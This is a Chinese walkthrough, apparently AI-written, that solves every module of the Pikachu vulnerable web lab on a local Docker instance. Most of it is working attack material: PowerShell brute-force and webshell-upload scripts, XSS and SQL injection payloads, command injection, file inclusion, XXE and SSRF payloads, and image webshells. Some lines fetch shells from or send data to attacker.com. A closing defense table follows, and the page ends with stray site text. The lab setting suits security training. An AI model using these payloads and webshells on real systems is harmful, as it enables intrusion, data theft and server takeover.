title: Pikachu 网安靶场完整通关教程(由minimax m3在TRAE中完成)
created: 2026-06-13
updated: 2026-06-13
tags: [网安/教程, 领域/Web安全, 项目/靶场]
status: ✅-已完成
🎯 Pikachu 国产综合漏洞靶场 — 完整通关教程
部署位置:
G:\guithub\pikachu(Docker Compose)
访问地址:http://127.0.0.1:7891/
镜像:area39/pikachu:latest
覆盖 16 大类、42 个漏洞模块
📋 目录
前言:环境与工具
1.1 靶场账号速查表
| 模块 | 账号 | 密码 | 备注 |
|---|---|---|---|
| Brute Force | admin / pikachu / test | 123456 / 000000 / abc123 | 3 个用户 |
| CSRF GET/POST | vince / allen / kobe / grady / kevin / lucy / lili | 123456 | 7 个用户 |
| Over Permission | lucy / lili / kobe | 123456 | OP1 水平越权 |
| Over Permission | admin / pikachu | 123456 / 000000 | OP2 垂直越权 |
| Info Leak (findabc) | lili | 123456 | 注释泄露 |
| 数据库 root | root | (空) | pikachu 库 |
1.2 全部用户 MD5(users 表)
| 用户名 | MD5 | 明文 |
|---|---|---|
| admin | e10adc3949ba59abbe56e057f20f883e | 123456 |
| pikachu | 670b14728ad9902aecba32e22fa4f6bd | 000000 |
| test | e99a18c428cb38d5f260853678922e03 | abc123 |
1.3 工具准备
# sqlmap(自动化SQL注入)
pip install sqlmap
sqlmap --version
# 浏览器:Chrome / Edge / Firefox 任一
# 代理工具:Burp Suite(已安装在 http://127.0.0.1:8080)
# 命令注入靶场查看用 Webshell(后文第16节会演示上传)
一、Brute Force 暴力破解(4关)
1.1 bf_form.php — 基于表单的暴力破解
结果:3 组凭证全部登录成功
1.2 bf_server.php — 服务端验证码绕过
漏洞关键(看 inc/showvcode.php 源码):
setcookie('bf[vcode]',$_SESSION['vcode']); // ⚠️ 明文COOKIE回传验证码
攻击流程:
- 第一次访问:拿 PHPSESSID
- 第二次访问验证码图片:服务端把 session 中的验证码以明文 COOKIE 回传
- 攻击者从 COOKIE 直接读出真实验证码 → 100% 命中爆破
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/burteforce/bf_server.php" -WebSession $session
$resp = Invoke-WebRequest -Uri "http://127.0.0.1:7891/inc/showvcode.php" -WebSession $session
# Set-Cookie 格式: bf[vcode]=XXXX; path=/
$cookieStr = ($resp.Headers['Set-Cookie'] | Where-Object { $_ -match 'bf\[vcode\]' })
$vcode = if ($cookieStr -match 'bf\[vcode\]=([A-Za-z0-9]+)') { $Matches[1] }
Write-Host "验证码: $vcode"
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/burteforce/bf_server.php" -Method POST -WebSession $session -Body @{username="admin"; password="123456"; vcode=$vcode; submit="Login"}
1.3 bf_client.php — 客户端验证码绕过
漏洞关键:JS 生成的验证码,只在前端校验,后端不验证
攻击方式:直接 POST,不传 vcode 字段
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/burteforce/bf_client.php" -Method POST -Body @{username="admin"; password="123456"; submit="Login"}
1.4 bf_token.php — Token 防爆破
漏洞关键:token 每次响应变化,但只校验当前 token(无过期机制)
攻击流程:每次重新 GET 表单拿最新 token 再提交
# 先定义账号列表(同 1.1 节)
$creds = @(
@{u="admin"; p="123456"},
@{u="pikachu"; p="000000"},
@{u="test"; p="abc123"}
)
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
foreach ($c in $creds) {
$r1 = Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/burteforce/bf_token.php" -WebSession $session
$token = ([regex]::Match($r1.Content, 'name="token" value="(\w+)"')).Groups[1].Value
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/burteforce/bf_token.php" -Method POST -WebSession $session -Body @{username=$c.u; password=$c.p; token=$token; submit="Login"}
}
二、Cross-Site Scripting XSS(8关)
2.1 xss_reflected_get.php — 反射型(GET)
通关:输入 kobe 提示"愿你和 kobe 一样",直接提交:
http://127.0.0.1:7891/vul/xss/xss_reflected_get.php?message=<script>alert(1)</script>&submit=submit
2.2 xss_stored.php — 存储型
Payload:
$null = Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/xss/xss_stored.php" -Method POST -Body @{message='<script>alert(1)</script>'; submit="submit"}
# 重新 GET 页面,恶意脚本持久化
攻击场景:任何人访问留言板都会执行我们的 JS → 可窃取 Cookie
2.3 xss_dom.php — DOM 型
源码提示:注释中给出 payload
- 闭合 input 标签的 value 属性 → 注入新标签的事件处理器
- Payload:
'><img src="#" onmouseover="alert(1)">(单引号闭合 value,尖括号闭合 input 标签)
2.4 xss_dom_x.php — DOM 型(x)
通关:通过 URL text 参数注入,与 2.3 相同手法
2.5 xss_01.php — 过滤绕过
漏洞关键:<script> 被替换为空字符串(只替换一次,非递归)
绕过:
| 技巧 | Payload | 原理 |
|---|---|---|
| 双写绕过 | <scr<script>ipt>alert(1)</scr</script>ipt> | 中间 <script> 被删后,剩余拼成 <script> |
| 大小写 | <ScRiPt>alert(1)</ScRiPt> | 替换区分大小写 |
| 换标签 | <img src=x onerror=alert(1)> | 不用 script 标签 |
| 换标签 | <svg onload=alert(1)> | 不用 script 标签 |
| HTML 实体 | <a href="javascript:alert(1)">x | 绕过关键字匹配 |
2.6 xss_02.php — htmlspecialchars
漏洞关键:htmlspecialchars() 默认使用 ENT_COMPAT 模式,只转义双引号不转义单引号
Payload:' onmouseover='alert(1)
2.7 xss_03.php — href 属性
漏洞关键:输入被拼到 <a href="..."> 中
Payload:javascript:alert(1)(用户点击触发)
2.8 xss_04.php — output(JS 变量注入)
漏洞关键:输入被拼到 $ms='...' 字符串中
Payload:';alert(1);// 或 ';alert(1);var a='
三、CSRF 跨站请求伪造(3关)
3.1 csrfget/csrf_get.php — CSRF GET
攻击 URL(vince 登录状态下,访问此 URL → 一键改 vince 自己的资料):
3.2 csrfpost/csrf_post.php — CSRF POST
攻击代码(受害者打开此 HTML,自动 POST):
<form action="http://127.0.0.1:7891/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input name="sex" value="POSTHACKED">
<input name="phonenum" value="88888888">
<input name="add" value="CSRF_POST_HACK">
<input name="email" value="csrf_post@evil.com">
<input name="submit" value="submit">
</form>
<script>document.forms[0].submit();</script>
3.3 csrftoken/token_get_edit.php — CSRF Token
漏洞:token 只能防止 CSRF,无法防止"攻击者自己合法登录后修改"
通关流程:
- 用 vince 账号正常登录
- 每次提交前先 GET 表单拿最新 token
- 带 token 提交修改请求
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$null = Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/csrf/csrftoken/token_get_login.php?username=vince&password=123456&submit=Login" -WebSession $session
$r2 = Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/csrf/csrftoken/token_get_edit.php" -WebSession $session
$token = ([regex]::Match($r2.Content, 'name="token" value="(\w+)"')).Groups[1].Value
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/csrf/csrftoken/token_get_edit.php?sex=TokenOK&phonenum=99999&add=Token_PASS&email=token@ok.com&token=$token&submit=submit" -WebSession $session
CSRF 防御:验证码 / 验证 Referer / 验证自定义 Header / SameSite Cookie
四、SQL Inject SQL 注入(9关)
💡 强烈建议每关用 sqlmap 自动化验证:
sqlmap -u "http://127.0.0.1:7891/vul/sqli/sqli_id.php" --data="id=1&submit=查询" --batch --level=2 --risk=2 --dbms=mysqlsqlmap 在 sqli_id 上识别出 4 种注入:boolean-based blind / error-based / time-based blind / UNION query
4.1 sqli_id.php — 数字型(POST)
判断列数:
id=1 ORDER BY 1
id=1 ORDER BY 2
id=1 ORDER BY 3 ← 报错说明只有 2 列
Payload:
-1 UNION SELECT user(),version()
-1 UNION SELECT (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),2
-1 UNION SELECT (SELECT GROUP_CONCAT(username,':',password,':',level SEPARATOR '||') FROM users),2
结果:admin:e10adc3949ba59abbe56e057f20f883e:1 等 3 个用户全部脱库
4.2 sqli_str.php — 字符型(GET)
判断闭合:kobe' 触发 SQL 错误
Payload:
kobe' ORDER BY 1#
kobe' ORDER BY 2#
kobe' ORDER BY 3# ← 报错,说明只有 2 列
kobe' UNION SELECT user(),version()#
4.3 sqli_search.php — 搜索型(GET)
SQL 原型:SELECT * FROM member WHERE username LIKE '%$name%'
闭合点:第一个 %'
Payload:
kobe%' ORDER BY 1#
kobe%' ORDER BY 2#
kobe%' ORDER BY 3# ← 报错,说明只有 2 列
kobe%' UNION SELECT user(),database()#
4.4 sqli_x.php — xx 型(带括号)
SQL 原型:username=('$name')
闭合点:')
Payload:
kobe') ORDER BY 1#
kobe') ORDER BY 2#
kobe') ORDER BY 3# ← 报错,说明只有 2 列
kobe') UNION SELECT user(),database()#
4.5 sqli_iu/sqli_reg.php — Insert 注入
Payload(username 字段注入,报错注入):
b' or updatexml(1,concat(0x7e,version()),1)#
b' or extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()))) or '
4.6 sqli_del/sqli_update.php — Update/Delete 注入
SQL 原型:UPDATE member SET pw='$pw' WHERE username='$name' / DELETE FROM member WHERE username='$name'
Payload(报错注入):
kobe' AND updatexml(1,concat(0x7e,version()),1) #
kobe' OR updatexml(1,concat(0x7e,user()),1) #
4.7 sqli_header.php — HTTP 头注入
漏洞关键:登录后 $_SERVER['HTTP_USER_AGENT'] 直接拼到 SQL
Payload:
User-Agent: ' or updatexml(1,concat(0x7e,version()),1) or '
X-Forwarded-For: 1.1.1.1' or updatexml(1,concat(0x7e,version()),1) or '
注意:注入到 UPDATE 语句中,需要先 GET 登录拿 session,再 POST 提交
4.8 sqli_blind_b.php — 布尔盲注
4.8 sqli_blind_b.php — 布尔盲注
判断基准:
kobe' AND 1=1# → 显示正常(包含 kobe 数据)
kobe' AND 1=2# → 显示空
Payload 模板:
kobe' AND ASCII(SUBSTR(database(),1,1))>100# → True
kobe' AND ASCII(SUBSTR(database(),1,1))>110# → True
kobe' AND ASCII(SUBSTR(database(),1,1))>115# → False → 首字符 ASCII=112='p'
进阶:二分法自动跑数据 → 取出 users 表每条记录每字段
时间盲注(当页面无任何回显差异时):
kobe' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0)#
# 如果响应延迟 3 秒以上,说明条件为真
sqlmap 自动化:
sqlmap -u "http://127.0.0.1:7891/vul/sqli/sqli_blind_b.php?name=kobe&submit=查询" --batch --technique=B --dbms=mysql -D pikachu -T users --dump
4.9 sqli_widebyte.php — 宽字节注入
漏洞原理:
- 后端用
addslashes转义:'→\'(即0x5c) - 数据库连接是 GBK:
0xdf5c合起来是合法汉字"運" - 输入
kobe%df'→ 转义后kobe%df%5c%27→ GBK 解析为kobe運'
Payload:
kobe%df' UNION SELECT user(),database()#
五、RCE 远程命令执行(2关)
5.1 rce_ping.php — ping 命令注入
Payload(使用 | 管道符):
127.0.0.1 | whoami
127.0.0.1 | id
127.0.0.1 | uname -a
127.0.0.1 | cat /etc/passwd | head -5
127.0.0.1; ls /var/www/html
127.0.0.1 & whoami
结果:
uid=1000(www-data) gid=50(staff) groups=50(staff)- 内核:
Linux 6.6.87.2-microsoft-standard-WSL2 - 读取
/etc/passwd成功
其他注入符:; && || & | $(cmd) `cmd`
5.2 rce_eval.php — eval 注入
漏洞:直接 eval($_POST['txt'])
Payload:
phpinfo();
system("id");
echo 99;
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/rce/rce_eval.php" -Method POST -Body "txt=phpinfo();&submit=%E6%8F%90%E4%BA%A4" -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
结果:phpinfo 信息直接输出
六、File Inclusion 文件包含(2关)
6.1 fi_local.php — 本地文件包含(LFI)
Payload:
?filename=../../../../etc/passwd
?filename=../../../../var/www/html/inc/config.inc.php
?filename=....//....//....//....//etc/passwd # 双写绕过简单过滤
结果:
- 读取
/etc/passwd:root❌0:0:root:/root:/bin/bash … - 读取
inc/config.inc.php拿到数据库 root 密码(空密码)
进阶:
- PHP 伪协议读源码
?filename=php://filter/read=convert.base64-encode/resource=../config.inc.php - 日志包含 getshell:将 PHP 代码写入 User-Agent/访问日志,再用 LFI 包含日志文件
6.2 fi_remote.php — 远程文件包含(RFI)
前提:allow_url_include=On
Payload:
?filename=http://attacker.com/shell.txt
?filename=//attacker.com/shell.txt # 绕过 http:// 过滤
?filename=data://text/plain,<?php phpinfo();?>
?filename=php://input
POST body: <?php system($_GET['c']); ?>
典型用法(拿 Webshell):
1. 在自己服务器放 evil.txt: <?php @eval($_REQUEST[c]); ?>
# 如果没有公网服务器,可以用 data:// 协议代替:
?filename=data://text/plain,<?php @eval($_REQUEST[c]); ?>&c=system('id')
2. 目标包含: ?filename=http://your_ip/evil.txt
3. Webshell: 访问 ?c=system('id')
注意:Pikachu Docker 默认 allow_url_include 可能关闭,需先确认:
# 通过 RCE eval 检查:
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/rce/rce_eval.php" -Method POST -Body "txt=echo ini_get('allow_url_include');&submit=提交"
# 返回 1 = 开启,0 = 关闭
七、Unsafe Filedownload 任意文件下载(1关)
7.1 execdownload.php
漏洞关键:$file_path="download/{$_GET['filename']}";
Payload:
?filename=../execdownload.php # 越过 download 目录读源码
?filename=../../../etc/passwd
?filename=../../inc/config.inc.php
用 PowerShell 下载:
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/unsafedownload/execdownload.php?filename=../execdownload.php" -OutFile "$env:TEMP\downloaded.php"
Get-Content "$env:TEMP\downloaded.php" -Head 20
结果:成功下载 PHP 源码
八、Unsafe Fileupload 文件上传(3关)
8.1 clientcheck.php — 客户端 JS 验证
漏洞关键:JS 仅在前端检查后缀,后端无任何防护
绕过:直接 POST 上传 .php 文件
# 上传一句话木马
$filePath = "$env:TEMP\cmd_shell.php"
'<?php @eval($_REQUEST[c]);echo "CMD_SHELL_OK";?>' | Out-File -FilePath $filePath -Encoding utf8
$boundary = [System.Guid]::NewGuid().ToString()
$LF = "`r`n"
$bodyLines = @(
"--$boundary",
'Content-Disposition: form-data; name="uploadfile"; filename="cmd_shell.php"',
'Content-Type: application/octet-stream',
'',
(Get-Content $filePath -Raw),
"--$boundary",
'Content-Disposition: form-data; name="submit"',
'',
'开始上传',
"--$boundary--"
) -join $LF
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/unsafeupload/clientcheck.php" -Method POST -ContentType "multipart/form-data; boundary=$boundary" -Body $bodyLines -UseBasicParsing
验证:
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/unsafeupload/uploads/cmd_shell.php?c=id" -UseBasicParsing
# → uid=1000(www-data) gid=50(staff)
8.2 servercheck.php — MIME 类型验证
漏洞关键:后端只检查 Content-Type 是否为 image/*
绕过:构造 multipart 时把 PHP 文件的 Content-Type 改为 image/jpeg
# 上传 PHP 文件但 MIME 伪装为 image/jpeg
$filePath = "$env:TEMP\sql_query.php"
'<?php $conn=mysqli_connect("127.0.0.1","root","","pikachu");$r=mysqli_query($conn,$_GET["q"]);while($row=mysqli_fetch_row($r)){echo join("|",$row)."\n";}echo "SQL_QUERY_OK";?>' | Out-File -FilePath $filePath -Encoding utf8
$boundary = [System.Guid]::NewGuid().ToString()
$LF = "`r`n"
$bodyLines = @(
"--$boundary",
'Content-Disposition: form-data; name="uploadfile"; filename="sql_query.php"',
'Content-Type: image/jpeg',
'',
(Get-Content $filePath -Raw),
"--$boundary",
'Content-Disposition: form-data; name="submit"',
'',
'开始上传',
"--$boundary--"
) -join $LF
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/unsafeupload/servercheck.php" -Method POST -ContentType "multipart/form-data; boundary=$boundary" -Body $bodyLines -UseBasicParsing
验证:
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/unsafeupload/uploads/sql_query.php?q=select+*+from+users" -UseBasicParsing
# → 返回 users 表数据
8.3 getimagesize.php — getimagesize 验证
漏洞关键:检查文件是否是真实图片
绕过:图片马(在真实 PNG 文件后追加 PHP 代码)
生成方法 1(用 webshell 调用 PHP GD):
<?php
$im = imagecreate(10, 10);
imagecolorallocate($im, 255, 255, 255);
ob_start(); imagepng($im); $png = ob_get_clean();
file_put_contents("/var/www/html/vul/unsafeupload/uploads/img_shell.png",
$png . "\n<?php @eval(\$_REQUEST[c]);echo 'IMG_SHELL_OK';?>\n");
?>
生成方法 2(本地命令行,先准备一个合法 PNG 再追加):
# Windows CMD:
copy /b legit.png + shell.php img_shell.png
# Linux:
cat legit.png shell.php > img_shell.png
触发执行:图片马本身不会被 Web 服务器当作 PHP 执行,需要配合文件包含漏洞触发:
http://127.0.0.1:7891/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/img_shell.png&c=phpinfo();
进阶:<?php 短标签 <script language=php> <% %> (需开启 asp_tags)
九、Over Permission 越权(2关)
9.1 op1 — 水平越权
账号:lucy/lili/kobe,密码 123456
漏洞:?username=lili 参数控制访问对象,未做权限校验
攻击(lucy 登录后):
GET /vul/overpermission/op1/op1_mem.php?submit=1&username=lili
→ 看到 lili 的资料: 姓名lili 性别girl 手机18656565545 住址usa 邮箱lili@pikachu.com
源码(关键):
if(isset($_GET['submit']) && $_GET['username']!=null){
$username = escape($link, $_GET['username']); // 没有从 session 拿!
$query = "select * from member where username='$username'";
...
}
修复:从 $_SESSION['op']['username'] 取,不接收 URL 参数
9.2 op2 — 垂直越权
账号:admin(超管)/pikachu(普通)
漏洞:admin 可访问 op2_admin.php(用户管理页),pikachu 理论上不能
攻击:用 pikachu 登录后,直接访问 op2_admin.php → 依然可见用户管理页
修复:在后端用 $_SESSION['role'] 做权限判断
十、Directory Traversal 目录遍历(1关)
10.1 dir_list.php
漏洞关键:title 参数用于 include 或 file_get_contents,未做过滤
Payload:
?title=../../../../etc/passwd
?title=../../../../var/www/html/inc/config.inc.php
结果:读取 /etc/passwd 成功(响应 200,root: 在第 30474 字节位置)
十一、Info Leak 信息泄露(1关)
11.1 IcanseeyourABC
漏洞 1 — 注释泄露账号:
findabc.php 源码 <!-- 测试账号:lili/123456--> ← HTML 注释
漏洞 2 — Cookie 明文存储密码:
setcookie('abc[uname]', $_GET['username'], time()+36000);
setcookie('abc[pw]', md5($_GET['password']), time()+36000); // 仅MD5,可破解
攻击流程:
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/infoleak/findabc.php?username=lili&password=123456&submit=Login" -WebSession $session
$session.Cookies.GetCookies("http://127.0.0.1:7891/") | Format-List
# → abc[uname]=lili, abc[pw]=e10adc3949ba59abbe56e057f20f883e (=123456)
修复:Cookie 不存敏感信息,HttpOnly + Secure
十二、PHP Unserialization 反序列化(1关)
12.1 unser.php
漏洞关键:unserialize($_POST['o']) 直接反序列化用户输入
源码:
class S {
var $test = "pikachu";
function __construct() { echo $this->test; }
}
if(isset($_POST['o'])){
$s = $_POST['o'];
@$unser = unserialize($s);
$html .= "<p>{$unser->test}</p>";
}
Payload(直接注释里有答案):
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
PHP 序列化格式:
O:<类名长度>:"<类名>":<属性数量>:{<属性列表>}s:<字符串长度>:"<字符串>";i:<整数值>;a:<数组长度>:{<键值对>}
真实场景的 RCE 链(Pikachu 没做但是常见利用):
class Evil {
function __destruct() { system('id'); }
}
// 找一个存在 Evil 类的项目,构造 payload:
O:4:"Evil":0:{}
十三、XXE XML 外部实体(1关)
13.1 xxe_1.php
漏洞关键:simplexml_load_string($xml, LIBXML_NOENT)
Payload(POST application/xml):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>
结果:响应中 <name>root:x:0:0:root:/root:/bin/bash ...</name>
其他利用:
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/inc/config.inc.php">
<!ENTITY xxe SYSTEM "http://attacker.com/leak?data=secret"> <!-- SSRF + 数据外带 -->
修复:禁用 LIBXML_NOENT,或用 libxml_disable_entity_loader(true)(PHP < 8.0)
十四、URL Redirect 不安全跳转(1关)
14.1 urlredirect.php
漏洞关键:header("location:{$url}"); 直接跳转
Payload:
?url=http://www.evil-phishing.com
?url=http://127.0.0.1:7891/vul/xss/xss_stored.php
钓鱼场景:用户看到 pikachu.com/redirect?url=... 信任,但跳到钓鱼站
修复:白名单跳转目标 / 用 ?id=1 而非直接传 URL
十五、SSRF 服务端请求伪造(2关)
15.1 ssrf_curl.php
漏洞关键:服务端用 curl_exec($_GET['url']) 抓取用户提供的 URL
Payload:
?url=http://127.0.0.1:7891/vul/xss/xss_reflected_get.php
?url=file:///etc/passwd
?url=dict://127.0.0.1:3306
?url=gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0ainfo%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
结果:file:///etc/passwd 成功读取
15.2 ssrf_fgc.php
漏洞关键:file_get_contents($_GET['file'])
Payload:
?file=file:///etc/passwd
?file=file:///var/www/html/inc/config.inc.php
?file=http://127.0.0.1:7891/vul/xss/xss_stored.php
修复:URL 白名单 / 禁用 file/gopher/dict 等危险协议 / 解析域名后判断内网 IP
十六、综合渗透:上传 Webshell + 蚁剑管理
16.1 完整渗透链回顾
1. 弱口令登录 → 用已知账号 admin/123456 登录
2. SQL注入(数字型) → 脱库 users 表(明文密码)
3. 越权(OP1)→ 不登录就能看其他用户
4. 文件上传(前端JS绕过)→ 上传 cmd_shell.php
5. RCE → 拿下服务器 www-data
6. RCE eval → 任意 PHP 代码执行
7. LFI/RFI → 读 /etc/passwd + 读源码
8. SSRF → 内网探测
16.2 已上传的 Webshell
| 路径 | 用途 | 上传方式 |
|---|---|---|
/vul/unsafeupload/uploads/cmd_shell.php | 命令执行 | clientcheck 绕过 |
/vul/unsafeupload/uploads/sql_query.php | SQL 查询 | servercheck MIME 绕过 |
/vul/unsafeupload/uploads/img_shell.png | 图片马 | getimagesize 绕过 |
/vul/unsafeupload/uploads/gen_img.php | 生成图片马 | servercheck MIME 绕过 |
16.3 用蚁剑(AntSword)管理
- 下载蚁剑:https://github.com/AntSwordProject/antSword
- 添加数据:
- URL:
http://127.0.0.1:7891/vul/unsafeupload/uploads/cmd_shell.php - 连接密码:
c
- URL:
- 双击连接 → 进入虚拟终端 → 输入
id看到 www-data
16.4 用 Burp Suite 拦截靶场流量
- Burp 启动(默认 8080)
- 浏览器代理设为
127.0.0.1:8080 - 导入 Burp CA 证书(HTTPS 解密)
- 拦截 Pikachu 任一请求 → Repeater 重放
附录:通关全流程总结
通关顺序建议
| 4 | SQL 注入(9关,含布尔盲注+时间盲注+宽字节)| ⭐⭐⭐ | 30min |
工具组合拳
PowerShell Invoke-WebRequest → 快速验证
sqlmap → 自动化 SQL 注入
Burp Suite → 抓包/重放
蚁剑/菜刀 → Webshell 图形管理
Wireshark → 流量分析
关键防御原则
| 漏洞 | 防御措施 |
|---|---|
| 暴力破解 | 登录失败锁定 + 图形验证码 + 短信验证 |
| XSS | 输出编码 + CSP + 输入白名单 |
| CSRF | Token + Referer 验证 + SameSite Cookie |
| SQL 注入 | 预编译参数化查询(PDO / mysqli prepared)+ 输入白名单 |
| RCE | 禁用高危函数(eval system exec passthru)+ 输入白名单 |
| LFI/RFI | 路径白名单 + open_basedir + 禁用 allow_url_include |
| 文件下载 | 文件名硬编码 ID + 路径白名单 |
| 文件上传 | 后端白名单后缀 + 文件头检查 + 重命名 + 隔离存储 |
| 越权 | 后端基于 session 强制获取 userId,不接收 URL 参数 |
| 目录遍历 | 文件名硬编码或用 ID 索引 + 路径白名单 |
| 信息泄露 | 关闭错误显示 + 删除注释 + Cookie HttpOnly + Secure |
| 反序列化 | 严格白名单 + 签名(HMAC)+ 禁用危险类 |
| XXE | 禁用外部实体 libxml_disable_entity_loader(true) |
| URL 重定向 | 白名单 + 提示确认页 |
| SSRF | URL 白名单 + 协议白名单 + 内网 IP 黑名单 + DNS rebinding 防御 |
📂 资源清单
- 靶场存储:
G:\guithub\pikachu - 完整教程(本文):
Obsidian/1-Projects/...或本目录 - 部署报告:
Obsidian/🤖-AI-Memory/01-Conversations/2026-06-13-Pikachu网安靶场部署.md - Burp Suite:
http://127.0.0.1:8080 - sqlmap:
pip install sqlmap→sqlmap --version
🎓 至此,Pikachu 国产综合漏洞靶场全部 16 大类、42 个漏洞模块均已通关。
推荐下一步:DVWA(难度更高)/ sqli-labs(专注 SQL 注入)/ upload-labs(专注文件上传)。

641

被折叠的 条评论
为什么被折叠?



